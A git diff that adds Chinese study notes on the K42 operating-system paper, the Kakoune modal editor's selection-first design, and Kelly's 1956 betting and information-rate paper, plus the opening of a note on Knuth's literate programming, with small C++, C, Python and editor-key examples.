分片**,`getVal` 时才汇总——与「全局原子变量」对比,高并发 `inc` 几乎无共享写。 + +```cpp +// 用户可见接口 +class Counter { +public: + virtual void inc() = 0; + virtual void dec() = 0; + virtual long getVal() = 0; +}; + +// 每个 CPU 上的 Rep:常见路径只碰本地 val +class CounterRep : public Counter { + long val = 0; + CounterRoot* root; +public: + void inc() override { ++val; } + void dec() override { --val; } + long getVal() override { + // 读全局时才跨 CPU 聚合(Root 协调各 Rep) + return root->aggregate(); + } +}; + +// Root:决定 map 多少 CPU → 一个 Rep(共享 / 分片 / 每 CPU 一个) +class CounterRoot { + CounterRep* repForCpu(int cpu); + long aggregate(); // sum reps +}; +``` + +调用 `inc()` 时,运行库根据当前 CPU 把调用路由到本地 `CounterRep`——**客户端代码不知道有几个 Rep**。若工作负载以 `getVal` 为主,可换成共享 `val` 的实现,**换的是 Root/Rep 策略,不是 API**。 + +## 代码示例 2:Linux 系统调用的两条路径(trap reflection vs 直跳) + +论文 §10:既要**未修改 glibc**,又要 Exokernel 式**直跳内核旁路代码**。 + +```c +// 路径 A:未修改 glibc —— 仍执行 syscall 指令,内核把 trap「反射」回应用地址空间里的系统库 +void linux_compat_path(void) { + // glibc 汇编桩:syscall + // → K42 内核捕获 → 转给用户态 system library 实现 + write(fd, buf, len); +} + +// 路径 B:打过补丁的 glibc —— 直接 branch 到已映射的 K42 服务桩(论文称约快 44%) +void k42_fast_path(void) { + // 等价于:__k42_syscall_vector[SYS_write](fd, buf, len); + // 不经 trap,无内核入口/出口往返 + write(fd, buf, len); +} +``` + +应用还可通过宏在 **Linux 仿真模式**与**原生 K42 服务**之间切换,对热点路径(如自定义分页、专用文件语义)逐步重写,而不必一次抛弃整个 Linux 栈。 + +## 核心概念五:Linux 兼容与 KFS + +- **用户态**:标准 Debian 根文件系统、bash、gcc、Apache、MySQL、MPI 混合集群(论文记载)。 +- **内核态**:OO 内核 + **直接嵌入** Linux 网络栈、驱动、部分 FS 代码——用「类理想硬件」适配层隔离,维护成本不低。 +- **KFS**:体现 K42 哲学的文件系统(每文件独立缓存对象、可 hot swap 实现);也可跑在 Linux 上复用其 page cache。 + +线程是难点:**pthread 走 K42 自有线程方案**,与 Linux 线程模型切换时要小心边界(论文 §10 后续讨论)。 + +## 核心概念六:性能监控基础设施 + +论文 §9 强调:**跟踪设施应在最初设计时一体考虑**,而不是事后给 vfs、驱动、NPTL 各打补丁。 + +- 每 CPU 无锁环形缓冲,原子追加**变长事件**; +- 应用、库、服务器、内核写入**统一时间线**; +- 默认编译进系统,可动态开关,可图形化查看锁竞争。 + +团队用它在 K42 上分析 Linux 应用性能,修好后**回到原生 Linux 仍能受益**——研究平台也是性能实验室。 + +## 核心概念七:虚拟化(Application Managers) + +1996 年 K42 提出 **Application Managers**:大机器上按应用规模**时间复用**多个 OS 实例做故障隔离(与 Disco 空间复用 VM 不同)。多年后这与 **VMM / hypervisor** 潮流汇合;论文 §12 描述与 Xen on Power 等工作的关系——K42 自己后来也是虚拟化研究的载体。 + +## 与相关系统的对照 + +| 系统 | 与 K42 的关系 | +|------|----------------| +| **Mach / L4** | 微内核 + 用户态服务器;K42 更偏 OO 集群对象 + 库进应用地址空间,且完整 Linux 兼容 | +| **Exokernel** | 库在应用空间、应用可选策略;K42 吸收思想但保留更强内核对象模型 | +| **Tornado** | PPC 与 per-processor 局部性;K42 扩展 OO 到定制与 hot swap | +| **Singularity** | 同期「整栈重设计」;Singularity 放弃旧 ABI,K42 **保留** Linux ABI | +| **Linux 主线** | K42 的 quiescence、模块卸载等回流;研究原型 vs 产品路径 | + +## 1996 年预判十年后的复盘(论文 §13 精神) + +论文诚实回顾:Windows 统治力不如预期;**多核与可扩展性**比想象更关键;64 位普及;**可定制与动态升级**在云计算、热补丁时代更有价值。技术方向随之从 Application Managers 强调转向虚拟化与 PERCS/FAST-OS 等企业级探索——**活的研究平台会改路线图**,但 Clustered Objects + 局部性 + Linux 兼容这三根支柱一直在。 + +## 读懂这篇论文你能带走什么 + +1. **多核 OS 首先减 sharing**:对象分解 + per-CPU Rep 比「把大锁拆成小锁」更结构性。 +2. **接口稳定、实现可换**是研究 OS 能持续十年的原因——hot swap 不是炫技,是补丁与实验的通用句柄。 +3. **兼容现有生态**要付税(trap reflection、嵌入 Linux 驱动、pthread 缝隙),但换来真实工作负载与社区可复现。 +4. **观测与结构同设计**:没有统一 trace,很难证明 scalability 优化有效。 + +## 延伸阅读 + +- K42 主页(历史):`www.research.ibm.com/K42` +- IBM Systems Journal:*Experience with K42, an open-source, Linux-compatible, scalable operating-system kernel* +- EuroSys 2008:*K42: Lessons for the OS community*(Wisniewski 等,社区教训篇) +- 对比阅读:Exokernel (SOSP 1995)、Tornado (ASPLOS 1996)、Xen (SOSP 2003) + +## 小结 + +K42 回答的问题不是「下一个桌面 Linux 是什么」,而是:**如果 1996 年重新画一张多核、可定制、可维护的 OS 结构图,同时还要能直接跑 Apache,会长成什么样?** + +答案是——**一切皆对象,对象可集群,集群可热换;内核调度 dispatcher,线程与策略沉到用户态库;Linux 是兼容外壳,不是设计中心。** 十年工程 + 一篇 EuroSys 论文,把这条路线从幻灯片变成了可 boot 的内核,这是它留在操作系统教科书边上的原因。 diff --git a/src/content/docs/papers/kakoune-vim-philosophy.md b/src/content/docs/papers/kakoune-vim-philosophy.md new file mode 100644 index 000000000..fcdb4cc2b --- /dev/null +++ b/src/content/docs/papers/kakoune-vim-philosophy.md @@ -0,0 +1,243 @@ +--- +title: Kakoune — 面向对象的模态编辑器:先圈地,再动刀 +来源: https://kakoune.org/why-kakoune/why-kakoune.html +日期: 2026-06-13 +子分类: 编辑器与 IDE +分类: CLI +provenance: pipeline-v3 +--- + +## 是什么 + +**Kakoune**(作者 Maxime Coste / mawww)是一类特殊的**模态代码编辑器**:它继承 Vi 的「按键即编辑语言」传统,却把核心抽象从「光标」升级成**选区(selection)**,并把语法从 Vim 的 **动词-名词(verb-object)** 翻转为 **名词-动词(object-verb)**。官网文章 [*Why Kakoune — The quest for a better code editor*](https://kakoune.org/why-kakoune/why-kakoune.html) 系统阐述了这套哲学;配套 [design.asciidoc](https://github.com/mawww/kakoune/blob/master/doc/design.asciidoc) 则把它落实为七条工程原则。 + +日常类比一:**改合同**。Vim 像律师先喊「删除!」再指条款——`dw` 是 delete + word,指错了一整段就没了,只能 `u` 撤销重来。Kakoune 像用荧光笔**先圈出要改的段落**,确认高亮范围对了,再按 `d` 删除;圈错了一个词,用 `BH` 把多圈的部分从选区里减掉,不必推倒重来。 + +日常类比二:**批处理 Excel**。你想把表里所有 `foo` 改成 `bar`:传统编辑器有专门的「全局替换」对话框;Kakoune 没有这条捷径,而是 `%` 选中全文 → `sfoo` 在每个匹配处生成一个选区 → `cbar` 同时替换——像先给每个单元格打上标记,再一次性填值。**多选区不是附加功能,而是交互的中心原语**。 + +Helix、部分 Neovim 插件思路都直接或间接继承了 Kakoune 的「选区优先 + 多光标」模型,因此读这篇 2020 年的宣言,有助于理解下一代终端编辑器为何长得不像经典 Vim。 + +## 为什么值得学 + +程序员职业生涯以十年计,花几周掌握编辑/nav 工具的投资回报率很高——原文第一个论点。更具体地说,不理解 Kakoune 哲学会导致: + +- 把 Helix 的 `wd` 误当成 Vim 键位打错——顺序颠倒背后是**先预览、后执行**的安全模型 +- 在 Kakoune 里找 `:s/foo/bar/g` 全局替换——设计上故意用选区组合替代专用命令 +- 低估「移动 = 选中」统一语义带来的可组合性——`w` 不是跳光标,是扩展选区到下一词 + +## Vim 与 Kakoune:两套编辑语法 + +### 模态编辑作为语言 + +Vi 家族把编辑建成**可组合语言**:`d`(delete)+ `w`(word)= 删一个词;`y` + `i` + `b` = 复制括号内文本。动词少、名词(文本对象)丰富,组合表达结构级意图,而不是重复点鼠标。 + +| 维度 | Vim / Vi | Kakoune | +|------|----------|---------| +| 基本语序 | 动词 → 对象(`dw`) | 对象 → 动词(`wd`) | +| 移动语义 | 移动光标与选中分离 | **移动即选中** | +| 反馈时机 | 整句命令结束后才看到结果 | **每一步**高亮当前选区 | +| 多光标 | 插件或后期补丁 | **一等公民**,无单独「全局替换」 | +| 改 buffer | normal / insert / ex / 脚本多条路径 | **仅 normal + insert** 改文本 | + +### 交互性:在暗处编辑 vs 开着灯编辑 + +Vim 的 `5dw`:按完才知道删了五个词还是六个。Kakoune 的 `5W`:立刻看到五个词被高亮;若多选一个,`` 或 `BH` 收缩选区,再 `d`。原文称之为修复 Vi **lack of interactivity** 的核心手段——配合 **object-then-verb**,让「看清再改」成为默认路径。 + +### 可预测性:正交积木 + +设计文档强调 **orthogonality(正交)** 与 **simplicity**: + +- `d` **只做一件事**:删除当前选中的内容,没有隐藏的 `x` 变体 +- `%` **只做一件事**:选中整个 buffer +- `s` **只做一件事**:对当前选区内的正则匹配再建子选区 + +复杂操作 = 简单命令链,而非新增专用子命令。因此 `d` 在 Kakoune 里**就是**「删除选中文本」这条命令本身,不是绑定到某个抽象 editing API 的快捷键——normal mode **就是**编辑语言,不是另一层 DSL 的皮。 + +## 核心概念 + +### 1. Selection(选区):真正的「编辑对象」 + +选区是有向、** inclusive ** 的字符区间,两端为 **anchor(锚点)** 与 **cursor(光标端)**。扩展选区时锚点固定、光标移动;普通移动则两端一起动。缓冲区里**始终至少有一个选区**,且至少覆盖一个字符(锚点与光标可重合为单点)。 + +这就是「面向对象」的含义:你操作的不是抽象「文件」,而是**当前选中的文本对象集合**;动词(`d`/`y`/`c`/`|`)永远作用于选区。 + +### 2. 移动 = 选中 + +- `w`:从当前位置选中到下一词首(不是 invisible 跳过去) +- `W`(大写):**扩展**选区至下一词,保留已选部分 +- `(`:选中配对括号内内容(text object) + +大写命令普遍表示「在现有选区上扩展」,小写则常替换/重定义选区——习惯记住后,预览路径与最终操作一致。 + +### 3. Multiple Selections(多选区) + +获得多选区的典型路径: + +1. `s`:在当前每个选区内,为每个匹配创建子选区 +2. `S`:按正则**拆分**选区 +3. `Alt+s`:对当前选区按行拆分 +4. `|` / `$`:管道或 shell 过滤后保留/丢弃选区 + +之后 `c`、`d`、`i`、`|sort` 等**同时**作用于所有选区。没有 `:substitute` 全局替换——`%sfoo cbar` 是 `%` + `sfoo` + `cbar` 的组合,而非专用 Ex 命令。 + +### 4. 模式分工(正交) + +| 模式 | 职责 | +|------|------| +| Normal | 操纵选区与选区内容(编辑语言本体) | +| Insert | 向 buffer 插入字符 | +| Prompt (`:`) | 打开文件、设选项、执行非编辑命令 | + +修改 buffer 文本不走命令模式脚本——与 Vim 的 `:s`、`normal @q` 等多通道形成对比。扩展靠 `%sh{...}`、Unix 管道和 socket,而非内嵌脚本 VM。 + +### 5. Unix 公民与 Client-Server + +- `|`:把选区内容 pipe 给 shell 命令,输出写回选区 +- `$`:对选区跑 shell,保留退出码为 0 的选区 +- `kak -p`:从外部向 session 喂命令 +- 多 client 连同一 server:窗口管理交给 tmux / 窗口管理器,编辑器只管文本 + +设计文档明确:**不做线程、不做二进制插件、不做内嵌脚本语言**——异步任务用 fifo buffer + 后台 shell(如 `make`、`grep`)完成。 + +## 代码示例 + +### 示例 1:全局把 `foo` 换成 `bar`(无 `:substitute`) + +假设 buffer 为: + +```text +foo = 1 +bar = foo + 1 +# foo comment +``` + +在 Kakoune normal mode 中的键序(空格仅为可读性,实际无空格): + +```text +%sfoo cbar +``` + +分步理解: + +| 键 | 效果 | +|----|------| +| `%` | 选中整个 buffer(一个选区覆盖全文) | +| `sfoo` | 在全文选区内,每个 `foo` 子串各成一个选区(此处 3 个) | +| `cbar` | 对所有选区执行 change,统一替换为 `bar` | +| `` | 回到 normal mode | + +等价于「先标记所有目标,再一次改写」——与对话框式全局替换不同,**中间任意步都能看见高亮**,可在 `d` 之前用 `,`(缩小选区)或 `&`(对齐)等原语微调。 + +若只想替换字符串字面量中的 `foo`,可先 `s"` 选中引号内,再 `sfoo`,避免误伤注释——组合粒度由你控制,不靠正则开关标志位。 + +### 示例 2:`snake_case` ↔ `camelCase`(多选区 + 子选区) + +原文示例:选中标识符 `my_long_name`,再: + +```text +w s_ d ~ +``` + +| 键 | 效果 | +|----|------| +| `w` | 选中当前词 `my_long_name` | +| `s_` | 在词内每个 `_` 处建子选区 | +| `d` | 删除所有 `_` 选区 | +| `~` | 对剩余选区(下划线后首字母)切换大小写 → `myLongName` | + +反向(camelCase → snake_case)原文键序: + +```text +w s[A-Z] ` i_ +``` + +- `s[A-Z]`:子选区匹配大写字母 +- `` ` ``:转小写 +- `i_`:在选区前插入下划线 + +整段可录宏复用到任意标识符——**结构相同、文本不同**的重复编辑,正是编辑语言要解决的场景。 + +### 示例 3:交换函数参数 `func(arg2, arg1)` + +```text +( S, +``` + +| 键 | 效果 | +|----|------| +| `(` | 选中括号内 `arg2, arg1` | +| `S,` | 按逗号拆成两个选区 | +| ``(rotate) | 交换各选区内容顺序 | + +无需结构化 AST——纯文本原语完成重排。与 AST 工具(如 ast-grep)可互补:简单重排用选区,语义级改写用外部管道。 + +### 示例 4:与外部命令组合(Unix 管道) + +选中若干行后排序去重: + +```text +|sort -u +``` + +Kakoune 把选区文本作为 **stdin** 传给 `sort -u`,stdout 写回选区。设计哲学:**编辑器不做排序**,把排序交给四十年历史的 Unix 工具;正交性要求功能不重叠。 + +## 可发现性与学习曲线 + +键盘驱动工具常因「没有菜单」而难上手。Kakoune 用两套机制补偿: + +1. **Prompt 补全**:输入 `:` 即列出命令;参数位自动提示 buffer 名、文件名、固定枚举 +2. **Auto-information**:按 `g` 等待第二键时,信息框列出所有 `goto` 子命令;可配置为每次 normal 按键后显示刚执行命令的说明 + +另全面采用 **fuzzy completion**(子序列匹配,非仅前缀),insert 与 prompt 均可用——降低背键表成本,但**学习曲线仍陡**,原文亦坦诚需数周投入。 + +## 与 Vim 的效率对比 + +[mawww/golf](https://github.com/mawww/golf) 收录 Kakoune 与 Vim 在 [vimgolf](http://www.vimgolf.com/) 题目上的击键对比:多数题目 Kakoune 用更**地道(idiomatic)** 的选区组合胜出,而非靠冷门快捷键。例如换行拆分常用 `` ` `` 等价于 `S^`,因太常见而独占一键。 + +设计目标原文表述为:**interactive, predictable, and fast at the same time**——三者通常被认为不可兼得,Kakoune 押注多选区 + 反转语法可以同时满足。 + +## 设计文档中的工程约束 + +摘自 `doc/design.asciidoc`,与哲学一致: + +- **Limited scope**:不做窗口管理、不做「聪明」到替用户决策的魔法;提供 dumb 版本让用户组合 +- **No threading**:交互路径必须「对用户即时」;异步交给外部进程 + fifo +- **No binary plugins / no embedded scripting**:避免第二套 API 面;`%sh{}` + 环境变量足够表达 completer、linter、formatter +- **Normal mode is the language**:脚本与交互共用同一套 normal 键序,保证交互语言足够表达缩进 hook 等复杂场景 + +## 影响与定位 + +- **2013+**:Kakoune 公开;设计文档成为编辑器设计讨论常引文献 +- **Helix**:公开声明借鉴 noun-verb 顺序、多选区、选区优先交互 +- **Neovim 生态**:部分插件模拟 Kakoune 选区模型,但非内核一等公民 + +Kakoune 用户量远小于 Vim/Neovim,但**概念影响力**大于市场份额——类似 Smalltalk 对 OOP 语言的影响路径。 + +## 何时适合 / 不适合 + +**适合**: + +- 愿意把编辑当成可组合语言,享受「结构级一次操作」 +- 重度终端 + tmux 工作流,需要 client-server 多窗口同 session +- 偏好 Unix 管道组合,而非 IDE 内置所有功能 + +**不适合**: + +- 需要开箱即用 GUI、文件树、调试器一体化 +- 依赖 Vimscript 插件生态且不愿重写为外部工具 +- 期望 `:substitute`、Vim 宏语法零成本迁移 + +## 与相关笔记 + +- [[kakoune]] —— 项目向笔记:安装、client-server、`kak-lsp` 配置 +- [[helix]] —— Rust 实现,内置 Tree-sitter + LSP,继承本哲学 +- [[vim]] —— 经典 verb-object 模态编辑对照 +- [[language-server-protocol-spec]] —— Kakoune 通过 `kak-lsp` 外接 LSP,本身不内置 +- [[monaco-editor]] —— GUI 嵌入式路线,设计假设截然不同 + +## 参考资料 + +- 宣言原文:[Why Kakoune](https://kakoune.org/why-kakoune/why-kakoune.html)(Maxime Coste, 2020) +- 设计原则:[doc/design.asciidoc](https://github.com/mawww/kakoune/blob/master/doc/design.asciidoc) +- 击键对比:[mawww/golf](https://github.com/mawww/golf) +- 官方站:[kakoune.org](https://kakoune.org) diff --git a/src/content/docs/papers/kelly-criterion-1956.md b/src/content/docs/papers/kelly-criterion-1956.md new file mode 100644 index 000000000..cbac12994 --- /dev/null +++ b/src/content/docs/papers/kelly-criterion-1956.md @@ -0,0 +1,226 @@ +--- +title: Kelly Criterion — 信息率的新解释 +来源: https://www.princeton.edu/~wbialek/rome/refs/kelly_56.pdf +日期: 2026-06-13 +子分类: 量化金融 +分类: 其他 +provenance: pipeline-v3 +--- + +## 是什么 + +Kelly 1956(*A New Interpretation of Information Rate*)是 Bell Labs 物理学家 **John L. Kelly Jr.** 发表的一篇 10 页论文。它把 Shannon 1948 里的**信道传输率 R**(互信息)和**赌博/投资中的资金指数增长率 G** 画上了等号: + +> 若信道输入符号对应可下注的随机事件,且赔率与真实概率一致(公平赔率),赌徒利用接收符号下注,可使资金**指数增长**;使 G 最大的下注策略,其增长率恰好等于信道的 **R**。 + +日常类比:你有一条**内线电话**(噪声信道),能比赌场大厅早 0.5 秒知道赛马结果。问题不是「这一把赢多少」,而是「**无限重复**时,本金按什么速度复利」。Kelly 给出的答案:**每次只押本金的一定比例**——押太多会在某次连输后归零(破产概率 → 1),押太少又浪费信息优势。最优比例让长期增长率 G 最大,而这个 G 在数学上就是 Shannon 的 **bit/秒**。 + +论文最初发在 *Bell System Technical Journal* 35(4):917–926(1956 年 7 月),同年亦见于 *IRE Transactions on Information Theory*。后来投资界把公式叫 **Kelly criterion(凯利公式)**;Shannon 本人和 MIT 数学家 Ed Thorp 曾用它在拉斯维加斯试手(见 Poundstone《Fortune's Formula》)。 + +## 为什么重要 + +不理解 Kelly 1956,下面这些事都讲不清: + +- 为什么「**期望收益最大**」和「**长期不破产**」常常是两套答案——全仓押注 E[资金] 可能很高,但几乎必然破产 +- 为什么量化基金、期权交易、体育博彩里都在谈 **fractional Kelly(半凯利)** +- Shannon 的 **R = I(X;Y)** 除了编码定理,还有**不编码**时的经济意义:信息 = 可变现的复利增速 +- 为什么 [[shannon-1948]] 之后信息论能走进金融:Kelly 是第一个严格的「信息 → 财富」桥梁 +- 现代 portfolio 理论里 **对数效用最大化** 与 Kelly 下注在独立赌局下等价 + +Kelly 本人 1965 年 41 岁早逝;公式由 Thorp、Berlekamp、Simons 一脉传到文艺复兴科技等对冲基金。Buffett 是否用「变体 Kelly」有争议,但**对数复利思维**与本文一脉相承。 + +## 核心要点 + +### 1. 指数增长率 G + +赌徒初始本金 V₀,第 N 次后本金 V_N。Kelly 定义(对数底为 2,与信息论一致): + +``` +G = lim_{N→∞} (1/N) log₂(V_N / V₀) +``` + +- G > 0:资金以 2^G 倍/局的复利速度增长(渐近意义) +- G = 1:每局本金翻倍(无噪声、全知、公平赔率的理想情况) +- G < 0:长期趋向破产 + +**关键**:优化目标是 **G**,不是单局的 E[V] 或「赢的概率」。 + +### 2. 噪声二元信道 + 公平赔率(论文核心例子) + +信道传输「赢/输」,正确概率 q,错误概率 p(p + q = 1)。赌场给**公平赔率**(赢一倍本金)。每次押本金比例 ℓ(0 ≤ ℓ < 1),W/L 为赢/输次数,则: + +``` +V_N = (1+ℓ)^W (1-ℓ)^L V₀ +G = q·log₂(1+ℓ) + p·log₂(1-ℓ) (几乎必然成立) +``` + +对 ℓ 求极大,利用 log 凹性得: + +``` +(1+ℓ) / (1-ℓ) = q / p +ℓ* = q - p = 2q - 1 (当 q > 1/2 时才有正下注) +G_max = 1 + p·log₂ p + q·log₂ q = R +``` + +**R 正是 Shannon 信道容量(二元对称信道)**。信息优势 q > 0.5 时,最优策略不是全仓,而是只押 **(2q-1)** 的本金比例。 + +若 q = p = 0.5(信道无用),则 ℓ* = 0——**公平赔率下没有优势就不下注**,哪怕期望看起来「不亏」。 + +### 3. 一般情形:多符号 + 任意赔率 + +符号 s 真实概率 p(s),收到 r 后下注比例 a(s|r),赔率 α_s(押 1 元正确时拿回 α_s 元,含本金)。资本增长率: + +``` +G = Σ_{s,r} p(s,r) · log₂( Σ_s' a(s'|r)·(α_{s'} - δ_{s,s'}) + (1 - Σ_{s'} a(s'|r)) ) +``` + +(δ 为 Kronecker 符号;未押出的部分保留为现金。)在**公平赔率** α_s = 1/p(s) 且独立重复下,使 G 最大的策略满足:**收到 r 后,按后验 q(s|r) 的比例分配赌注**。此时最大 G 等于互信息 I(S;R)。 + +若赔率由另一套概率 q̃(s) 定价(市场隐含概率),则 G 的增量仍与 **I(S;R)** 相关;存在 **track take**(抽水)时公式更复杂。 + +### 4. 与经典「凯利公式」的对应 + +单次赌局:赢概率 p,净赔率 b(赢则净赚 b,输则亏光所押),最优押注比例: + +``` +f* = (p·(b+1) - 1) / b = (p·b - q) / b (q = 1-p) +``` + +这是二元 Kelly 在**非公平赔率**下的常见写法,可由论文一般式退化得到。投资里常写 **f* = μ/σ²**(正态近似),那是连续情形的推广,不是 Kelly 原文重点。 + +### 5. Kelly 对 Shannon 的「新解释」 + +Shannon 定理:存在编码使误码率任意小,传输率可达 R。Kelly 补充:**即使不做编码**,只要接收方能**反复下注、复利再投资**,R 仍度量「能从信道榨出的最大指数财富增速」。这给雷达、侦听等「无法编码」场景提供了不同于任意 cost function 的、与概率结构绑定的价值度量。 + +## 实践案例 + +### 案例 1:内线 60% 准确,公平赔率 + +q = 0.6,p = 0.4 → ℓ* = 0.2。模拟 10 000 局,对比 ℓ = 0.2 / ℓ = 1.0 / ℓ = 0.5: + +```python +import random +import math + +def simulate(q, ell, n_rounds=10_000, v0=1.0, seed=42): + random.seed(seed) + v = v0 + for _ in range(n_rounds): + win = random.random() < q + v *= (1 + ell) if win else (1 - ell) + if v < 1e-12: + v = 0.0 + break + g_empirical = math.log2(v / v0) / n_rounds if v > 0 else float("-inf") + return v, g_empirical + +q = 0.6 +g_theory = 1 + 0.4 * math.log2(0.4) + 0.6 * math.log2(0.6) # ≈ 0.029 + +for ell in (0.2, 0.5, 1.0): + v, g = simulate(q, ell) + print(f"ell={ell:.1f} final={v:.4f} G_hat={g:.4f}") + +print(f"G_theory (R) = {g_theory:.4f}") +``` + +典型输出:ℓ=0.2 时 G_hat 接近 0.029;ℓ=1.0 常中途破产(final≈0);ℓ=0.5 波动大且 G 偏低。**全仓最大化期望,却毁掉几乎必然的长期 G**——这就是 Kelly 论文要强调的悖论。 + +### 案例 2:多结果公平赔率 + 后验下注 + +三场赛马,真实概率 p = (0.5, 0.3, 0.2)。公平赔率 α_s = 1/p(s)。信道有时传错:收到 r 时后验 q(s|r) 已知。最优:把**当前本金的 q(s|r) 倍**押在 s 上(各结果互斥,总押注 ≤ 1)。 + +```python +import numpy as np + +p = np.array([0.5, 0.3, 0.2]) +alpha = 1.0 / p # 公平赔率 + +# 收到信号 r=0:后验略偏向马 0 +q_given_r = np.array([0.62, 0.25, 0.13]) +q_given_r /= q_given_r.sum() + +def growth_rate(p_joint, bet_fractions): + """bet_fractions[r][s] = 收到 r 时押在 s 上的本金比例""" + g = 0.0 + for r in range(len(bet_fractions)): + for s in range(len(p)): + # 简化:单信号 r,联合概率 p(s) 加权 + pass + return g + +# 单信号情形:每次按后验下注 +def one_bet_growth(q, alpha, p_true): + # 公平赔率下回报:押 a_s 在 s,若 s 发生则乘子为 1 + a_s*(alpha_s-1) = a_s*alpha_s + (1-sum a) + a = q.copy() # Kelly:a(s) = q(s|r) + cash = 1.0 - a.sum() + factors = cash + a * alpha + # 期望对数增长率 E_s[ log2( factor_s ) ] + return np.sum(p_true * np.log2(factors)) + +g_opt = one_bet_growth(q_given_r, alpha, p) +print(f"G per bet (nats base2): {g_opt:.4f}") + +# 互信息 I(S;R) 上界(需完整信道矩阵);此处展示后验比先验更「尖」时 G 为正 +g_prior = one_bet_growth(p, alpha, p) +print(f"G if bet prior (no info): {g_prior:.4f}") +``` + +无信息时应用先验 p 下注,G 为 0(公平市场无 edge)。有噪声内线使后验偏离先验时,G > 0。**信息的价值 = 对数财富增速的增量**。 + +### 案例 3:投资语境——edge 与 half-Kelly + +估计某策略胜率 p=0.55,赔率为 1:1(b=1):f* = 2×0.55 - 1 = **0.10**(押 10% 本金)。实务常用 **half-Kelly(5%)** 降低估计误差和路径波动——论文假设概率已知;真实市场要打折。 + +## 踩过的坑 + +1. **把 Kelly 当「这一把押多少能赢」**:Kelly 优化的是**渐近几乎必然**的指数增长率,短期方差极大,可能出现很长回撤。 +2. **全仓因为 E[资金] 更大**:二元公平例子中 ℓ=1 时 E[V_N] = (2q)^N V₀ 看似很美,但 P(破产)→1。Kelly 与「期望最大化」分道扬镳。 +3. **概率估错**:f* 对 p 极敏感;高估 edge 会导致**过度下注**,比保守更危险。实务普遍 fractional Kelly。 +4. **相关赌局**:论文假设**独立**重复。投资组合里资产相关时,简单 f* 不再最优,需多资产 Kelly 或均值-方差近似。 +5. **赔率含抽水**:公平赔率 α_s = 1/p(s) 是理想;真实体育/赌场有 vig,G 会下降,有时 ℓ*=0。 +6. **与 Shannon 容量混淆**:G_max = R 是在特定赌博模型下;**不等于**任意通信系统都能「变现」为等额收益——需要可重复下注、复利、赔率结构匹配。 + +## 适用 vs 不适用场景 + +**适用**: + +- 重复性独立(或弱相关)赌局/交易,可复利再投资 +- 有**概率优势**且赔率已知或可调 +- 分析「信息通道」的经济价值(侦听、低延迟行情、内幕信号——法律与伦理另论) +- 理解对数效用、熵与金融的桥梁 + +**不适用**: + +- **一次性**决策(买房、职业选择)——没有 N→∞ 复利语境 +- 概率/赔率**严重不确定**且无保守折扣 +- 存在**破产吸收壁**以外的约束(保证金、杠杆强平)——需修正模型 +- 多人博弈、市场冲击:你的下注改变赔率 + +## 与相关工作的关系 + +| 概念 | 关系 | +|------|------| +| [[shannon-1948]] | R、互信息 I(X;Y) 的定义来源;Kelly 赋予 R「无编码」的经济意义 | +| Von Neumann 效用 | Kelly 批评任意 cost function 过泛;下注模型内生于「人能获利」 | +| Thorp / 21 点 | 将 Kelly 用于可数牌面赌局,写进 *Beat the Dealer* | +| 现代 portfolio | 对数效用、CRRA、风险平价与 Kelly 家族相关;多资产需扩展 | +| Black-Scholes | 连续时间极限下 Kelly 与 growth-optimal portfolio 接轨 | + +## 历史小故事(可跳过) + +- Kelly 在 Bell Labs 与 Shannon 同僚,论文动机是回应同行「**不编码时传输率有何意义**」的困惑。 +- Shannon 和 Thorp 曾带 **Wearable 计算机** 去拉斯维加斯(未在 Kelly 原文,属后续传奇)。 +- 论文标题强调 **Information Rate**,不是「赌博公式」——投资界的「Kelly criterion」是后来命名。 +- Kelly 1965 年因脑溢血去世;年仅 41 岁。公式的影响远超过他个人的职业生涯长度。 + +## 小结 + +Kelly 1956 用「**有内线电话的赌徒**」讲清了一件事:**Shannon 信道传输率 = 最优复利下注下的最大指数增长率**。核心操作是每次押 **ℓ***(二元公平情形 ℓ* = 2q−1),而非全仓。它把信息论从「传比特」扩展到「传财富增速」,为量化投资与重复博弈提供了与熵同构的标尺。读原文时建议对照 [[shannon-1948]] 的二元对称信道容量公式——两个式子应当逐项重合,那是整篇论文最美的一处。 + +## 延伸阅读 + +- 原文 PDF:[Kelly 1956](https://www.princeton.edu/~wbialek/rome/refs/kelly_56.pdf) +- Shannon 1948:[[shannon-1948]] +- Thorp, *Beat the Dealer* (1962);Poundstone, *Fortune's Formula* (2005) +- Cover & Thomas, *Elements of Information Theory* — 第 16 章赌博与数据压缩的对偶 diff --git a/src/content/docs/papers/knuth-literate-1984.md b/src/content/docs/papers/knuth-literate-1984.md new file mode 100644 index 000000000..7aeeddce9 --- /dev/null +++ b/src/content/docs/papers/knuth-literate-1984.md @@ -0,0 +1,245 @@ +--- +title: Literate Programming — Knuth 1984 文学化编程与 WEB 系统 +来源: http://www.literateprogramming.com/knuthweb.pdf +日期: 2026-06-13 +分类: 其他 +子分类: 工程文化 +难度: 入门 +provenance: pipeline-v3 +--- + +## 是什么 + +1984 年,Donald E. Knuth 在 *The Computer Journal* 上发表 **Literate Programming**(文学化编程)。这篇论文不是又一种新语法糖,而是对「程序该怎么写、怎么读」的一次立场鲜明的翻转: + +> **程序首先是写给人类阅读的文献,其次才是交给机器执行的指令。** + +Knuth 在斯坦福写 TeX 排版系统时,把这套思想落成了 **WEB** 语言与工具链。论文用实例展示 WEB,并解释为什么它比「先写代码、后补注释」的传统流程更合理。 + +日常类比:想象你在写一本**带插图的菜谱**,而不是先写一张冷冰冰的配料表再另附说明。 + +- **传统编程**像先交厨房机器一份「步骤 1、步骤 2、步骤 3」的操作清单,说明书是事后贴的便利贴——读者要在「代码文件」和「文档文件」之间来回跳。 +- **文学化编程**像作者从第一页就按「为什么做这道菜 → 这一步的火候原理 → 具体用量与操作 → 和下一章如何衔接」来写;同一套源稿,印厂可以排出**给人看的精美菜谱**(WEAVE),后厨也可以抽出**可执行的配方卡**(TANGLE)。 + +Knuth 把复杂软件看成一张 **web(网)**:由许多简单片段编织而成,片段之间通过命名与引用相连。理解系统,就是沿着这张网读下去,而不是从 `main` 一路硬啃到底。 + +## 历史背景 + +| 时间 | 事件 | +|------|------| +| 1970s | Knuth 开发 TeX,需要同时维护算法与高质量文档 | +| 1983 | Stanford 技术报告 *The WEB System of Structured Documentation*(WEB 用户手册) | +| 1984 | 本文发表于 *The Computer Journal* 27(2),正式提出 literate programming 术语 | +| 1987 | Silvio Levy 将 WEB 改编为 **CWEB**,面向 C / C++ | +| 1992 | Knuth 出版文集 *Literate Programming*(CSLI Lecture Notes 27),收录本文及 TeX 程序节选 | + +同一时期,业界主流仍是「源码 + 独立文档」。结构化编程(Dijkstra)解决的是控制流纪律;Parnas 的信息隐藏解决的是模块边界。Knuth 